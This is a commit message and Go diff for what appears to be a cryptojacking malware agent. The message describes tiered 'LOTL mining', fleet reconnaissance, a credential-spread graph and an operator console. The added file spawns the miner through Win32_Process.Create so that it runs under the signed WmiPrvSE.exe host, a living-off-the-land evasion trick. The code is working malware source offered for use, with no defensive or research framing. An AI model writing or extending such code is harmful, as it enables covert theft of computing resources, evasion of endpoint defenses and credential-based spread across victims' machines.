Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_wmi.go

@@ -0,0 +1,60 @@
+package miner
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"runtime"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+// SignedHostProcess is the WMI provider parent used for Win32_ProcessCreate children.
+const SignedHostProcess = "WmiPrvSE.exe"
+
+// wmiProcessCreate runs Win32_Process.Create locally. Tests override via SetWMIProcessCreate.
+var wmiProcessCreate = platformWMIProcessCreate
+
+// SetWMIProcessCreate restores default when fn is nil.
+func SetWMIProcessCreate(fn func(commandLine string) (pid uint32, err error)) {
+	if fn == nil {
+		wmiProcessCreate = platformWMIProcessCreate
+		return
+	}
+	wmiProcessCreate = fn
+}
+
+// RunWMITier spawns a mining child via local Win32_ProcessCreate under the signed WMI host.
+func RunWMITier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
+	if runtime.GOOS != "windows" {
+		return TierAttempt{Tier: TierWMI, Error: "wmi tier requires windows", Wallet: cfg.Wallet}
+	}
+	select {
+	case <-ctx.Done():
+		return TierAttempt{Tier: TierWMI, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
+	default:
+	}
+
+	exe, err := os.Executable()
+	if err != nil {
+		return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet}
+	}
+	cmdLine := fmt.Sprintf(`"%s" --run --tier-miner=wmi --mining-mode=%s`,
+		exe, strings.TrimSpace(cfg.MiningMode))
+
+	pid, err := wmiProcessCreate(cmdLine)
+	if err != nil {
+		return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet}
+	}
+	return TierAttempt{
+		Tier:   TierWMI,
+		OK:     true,
+		Wallet: cfg.Wallet,
+		Details: map[string]interface{}{
+			"signed_host": SignedHostProcess,
+			"child_pid":   pid,
+			"method":      "Win32_ProcessCreate",
+		},
+	}
+}